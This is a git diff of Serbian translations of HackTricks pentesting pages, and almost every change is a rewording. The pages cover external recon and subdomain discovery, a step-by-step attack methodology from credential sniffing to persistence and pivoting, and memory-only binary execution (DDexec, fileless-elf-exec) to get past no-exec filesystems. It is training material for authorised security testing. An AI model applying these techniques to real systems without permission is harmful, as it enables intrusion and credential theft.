* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija subdomena, može pokušati i da ih reši (ali je bolje koristiti prethodno pomenute alate).
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može pokušati i da ih reši (ali je bolje koristiti prethodno pomenute alate).
|
||||
* Možete dobiti altdns permutacije **wordlist** u [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
|
@ -462,7 +462,7 @@ Ovom tehnikom možda ćete moći da pristupite internim/skrivenim krajnjim tačk
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Ponekad ćete naići na stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je važeća domena/poddomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **poddomenе**.
|
||||
Ponekad ćete naići na stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/poddomena postavljena u _**Origin**_ zaglavlju. U ovim scenarijima, možete iskoristiti ovo ponašanje da **otkrijete** nove **poddomenе**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -478,7 +478,7 @@ Možete **pratiti** da li su **nove subdomene** domena kreirane praćenjem **Cer
|
|||
### **Traženje ranjivosti**
|
||||
|
||||
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Ako se **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||
_Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
|
||||
|
@ -486,7 +486,7 @@ _Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom kl
|
|||
## IPs
|
||||
|
||||
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
|
||||
Vreme je da **prikupite sve IP adrese iz tih opsega** i za **domene/subdomene (DNS upiti).**
|
||||
Sada je vreme da **prikupite sve IP adrese iz tih opsega** i za **domene/subdomene (DNS upiti).**
|
||||
|
||||
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP adrese korišćene od strane domena i subdomena**. Ove IP adrese možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
|
@ -506,7 +506,7 @@ Takođe možete proveriti za domene koje upućuju na određenu IP adresu koriste
|
|||
|
||||
U prethodnim koracima verovatno ste već izvršili neku **recon za IP adrese i domene koje ste otkrili**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
|
||||
|
||||
Molimo vas, imajte na umu da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
|
||||
Molimo vas da napomenete da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
|
||||
|
||||
**Brza metoda** za otkrivanje **otvorenih portova** povezanih sa **web** serverima koristeći [**masscan** može se pronaći ovde](../pentesting-network/#http-port-discovery).\
|
||||
Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokuša i druge portove:
|
||||
|
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Screenshots**
|
||||
|
||||
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo samo sa pravljenjem snimaka ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
|
||||
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenima**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo samo sa pravljenjem snimaka ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
|
||||
|
||||
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
|
@ -544,7 +544,7 @@ Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije*
|
|||
|
||||
## Emails
|
||||
|
||||
Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije:
|
||||
Sa **domenima** i **poddomenima** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - sa API-ima
|
||||
* API [**https://hunter.io/**](https://hunter.io/) (besplatna verzija)
|
||||
|
@ -557,14 +557,14 @@ Emailovi će biti korisni kasnije za **brute-force web prijave i auth servise**
|
|||
|
||||
## Credential Leaks
|
||||
|
||||
Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite kredencijale koji su procurili u prošlosti i pripadaju tim emailovima:
|
||||
Sa **domenima,** **poddomenima** i **emailovima** možete početi da tražite kredencijale koji su procurili u prošlosti i pripadaju tim emailovima:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Ako pronađete **validne procurile** kredencijale, ovo je vrlo lak dobitak.
|
||||
Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda.
|
||||
|
||||
## Secrets Leaks
|
||||
|
||||
|
@ -579,7 +579,7 @@ Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) d
|
|||
|
||||
#### Github Dorks
|
||||
|
||||
Proverite i ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
|
||||
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -594,11 +594,11 @@ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pr
|
|||
|
||||
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
|
||||
|
||||
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti, jer će vas Google vrlo brzo blokirati._
|
||||
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas google vrlo brzo blokirati._
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo lak dobitak.
|
||||
Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo laka pobeda.
|
||||
|
||||
## Public Code Vulnerabilities
|
||||
|
||||
|
@ -633,7 +633,7 @@ Dakle, već ste:
|
|||
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
|
||||
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
|
||||
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
|
||||
8. **Emailovi**, **procureni kredencijali**, i **procurene tajne** koje bi vam mogle dati **veliku dobit vrlo lako**.
|
||||
8. **Emailovi**, **procureni kredencijali**, i **procurene tajne** koje bi vam mogle doneti **veliku pobedu vrlo lako**.
|
||||
9. **Pentesting svih web stranica koje ste pronašli**
|
||||
|
||||
## **Full Recon Automatic Tools**
|
||||
|
@ -649,7 +649,7 @@ Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog o
|
|||
|
||||
* Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Pentesting Metodologija
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Ekspert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,9 +15,9 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,19 +29,19 @@ _Logotipi Hacktricks dizajnirao_ [_@ppiernacho_](https://www.instagram.com/ppier
|
|||
|
||||
### 0- Fizički napadi
|
||||
|
||||
Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../hardware-physical-access/physical-attacks.md) i druge o [**izbegavanju GUI aplikacija**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../hardware-physical-access/physical-attacks.md) i druge o [**bežanju iz GUI aplikacija**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Otkriće hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkriće imovine kompanije](external-recon-methodology/)
|
||||
|
||||
**U zavisnosti** od toga da li je **test** koji sprovodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
|
||||
**U zavisnosti** od toga da li je **test** koji izvodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
|
||||
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da ako sprovodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
|
||||
Imajte na umu da ako izvodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Zabavljanje sa mrežom**](pentesting-network/) **(Interni)**
|
||||
|
||||
**Ova sekcija se primenjuje samo ako sprovodite interni test.**\
|
||||
**Ova sekcija se primenjuje samo ako izvodite interni test.**\
|
||||
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **sa mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
|
||||
|
||||
### 3- [Port skeniranje - Otkriće usluga](pentesting-network/#scanning-hosts)
|
||||
|
@ -50,7 +50,7 @@ Prva stvar koju treba uraditi kada **tražite ranjivosti na hostu** je da znate
|
|||
|
||||
### **4-** [Pretraživanje eksploata usluga](search-exploits.md)
|
||||
|
||||
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji eksploat koji će vam dati shell...
|
||||
Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate ranjivosti**. Možda ćete imati sreće i postoji eksploat koji vam može dati shell...
|
||||
|
||||
### **5-** Pentesting Usluge
|
||||
|
||||
|
@ -58,10 +58,10 @@ Ako nema nikakvih zanimljivih eksploata za bilo koju aktivnu uslugu, trebali bis
|
|||
|
||||
**Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
|
||||
|
||||
**Želim da napravim posebnu napomenu o** [**Pentestovanju Weba**](../network-services-pentesting/pentesting-web/) **deo (jer je najopsežniji).**\
|
||||
**Želim da napravim posebnu napomenu o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **delu (jer je to najopsežniji deo).**\
|
||||
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) može se naći ovde.
|
||||
|
||||
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **vlastiti slepi pentesting**, možete početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
|
||||
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **slep pentesting**, možete početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
|
||||
|
||||
#### 5.1 Automatski alati
|
||||
|
||||
|
@ -73,7 +73,7 @@ U nekim scenarijima **Brute-Force** može biti koristan za **kompromitovanje** *
|
|||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da pokušate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
|
||||
Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da probate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
|
||||
|
||||
### **7-** [**Dobijanje Shell-a**](reverse-shells/)
|
||||
|
||||
|
@ -91,13 +91,13 @@ Ako imate problema sa shell-om, ovde možete pronaći malu **kompilaciju najkori
|
|||
|
||||
### **9 -** [**Ekstrakcija**](exfiltration.md)
|
||||
|
||||
Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **uneste nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
|
||||
Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **da uvedete nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
|
||||
|
||||
### **10- Eskalacija privilegija**
|
||||
|
||||
#### **10.1- Lokalna Eskalacija**
|
||||
|
||||
Ako niste **root/Administrator** unutar kutije, trebali biste pronaći način da **escalirate privilegije.**\
|
||||
Ako niste **root/Administrator** unutar mašine, trebali biste pronaći način da **escalirate privilegije.**\
|
||||
Ovde možete pronaći **vodič za eskalaciju privilegija lokalno u** [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Trebalo bi da proverite i ove stranice o tome kako **Windows funkcioniše**:
|
||||
|
||||
|
@ -121,16 +121,16 @@ Pronađite ovde različite načine za [**dumpovanje lozinki u Windows-u**](https
|
|||
|
||||
#### 11.2 - Postojanost
|
||||
|
||||
**Koristite 2 ili 3 različita tipa mehanizama postojanosti kako ne biste morali ponovo da eksploatišete sistem.**\
|
||||
**Koristite 2 ili 3 različite vrste mehanizama postojanosti kako ne biste morali ponovo da eksploatišete sistem.**\
|
||||
**Ovde možete pronaći neke** [**trikove postojanosti na Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Dovršiti postojanost u Windows-u i Linux-u
|
||||
TODO: Završiti postojanost u Windows-u i Linux-u
|
||||
|
||||
### 12 - Pivotiranje
|
||||
|
||||
Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža gde je vaša žrtva povezana.\
|
||||
U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post koji govori o tunelovanju**](tunneling-and-port-forwarding.md).\
|
||||
Definitivno biste takođe trebali proveriti post o [metodologiji pentestovanja Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje akreditiva.\
|
||||
Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža na kojima je vaša žrtva povezana.\
|
||||
U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post o tunelovanju**](tunneling-and-port-forwarding.md).\
|
||||
Definitivno biste takođe trebali proveriti post o [metodologiji pentestinga Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje akreditiva.\
|
||||
Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti veoma korisna za pivotiranje u Windows okruženjima.
|
||||
|
||||
### VIŠE
|
||||
|
@ -151,15 +151,15 @@ Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Ekspert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -55,7 +55,7 @@ Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarni
|
|||
|
||||
Napomena da sam pomenuo binarne fajlove, možete **izvršiti bilo koji skript** sve dok je interpreter unutar mašine, kao što je **shell skript** ako je `sh` prisutan ili **python** **skript** ako je `python` instaliran.
|
||||
|
||||
Međutim, ovo nije dovoljno samo za izvršavanje vašeg binarnog backdoora ili drugih binarnih alata koje možda trebate pokrenuti.
|
||||
Međutim, ovo nije dovoljno samo za izvršavanje vašeg binarnog backdoor-a ili drugih binarnih alata koje možda trebate pokrenuti.
|
||||
|
||||
## Memory Bypasses
|
||||
|
||||
|
@ -63,14 +63,14 @@ Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolj
|
|||
|
||||
### FD + exec syscall bypass
|
||||
|
||||
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u memorijskom fajl deskriptoru (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama, a zatim pozvati **`exec` syscall** označavajući **fd kao fajl za izvršavanje**.
|
||||
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama i zatim pozvati **`exec` syscall** označavajući **fd kao fajl za izvršavanje**.
|
||||
|
||||
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresovanje** u **fd** kreiranjem poziva `create_memfd` syscall i pozivom na **exec** syscall da ga pokrene.
|
||||
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom na **exec** syscall da ga pokrene.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memorijski fd** za čuvanje binarnog fajla.
|
||||
Ovo ne funkcioniše u drugim skriptim jezicima kao što su PHP ili Node jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memory fd** za skladištenje binarnog fajla.
|
||||
|
||||
Štaviše, kreiranje **običnog fd** sa fajlom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
|
||||
Štaviše, kreiranje **regularnog fd** sa fajlom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete jer će se **no-exec zaštita** primeniti.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
@ -80,7 +80,7 @@ Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaj
|
|||
Stoga, **kontrolišući asemblažni kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj vlastiti **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
||||
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -132,9 +132,9 @@ Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali mogli biste k
|
|||
|
||||
Možete pronaći **primere** kako da **iskoristite neke RCE ranjivosti** da dobijete scripting jezike **reverz shell-ove** i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -148,7 +148,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt
|
|||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -0,0 +1,391 @@
|
|||
# macOS Potpisivanje Koda
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
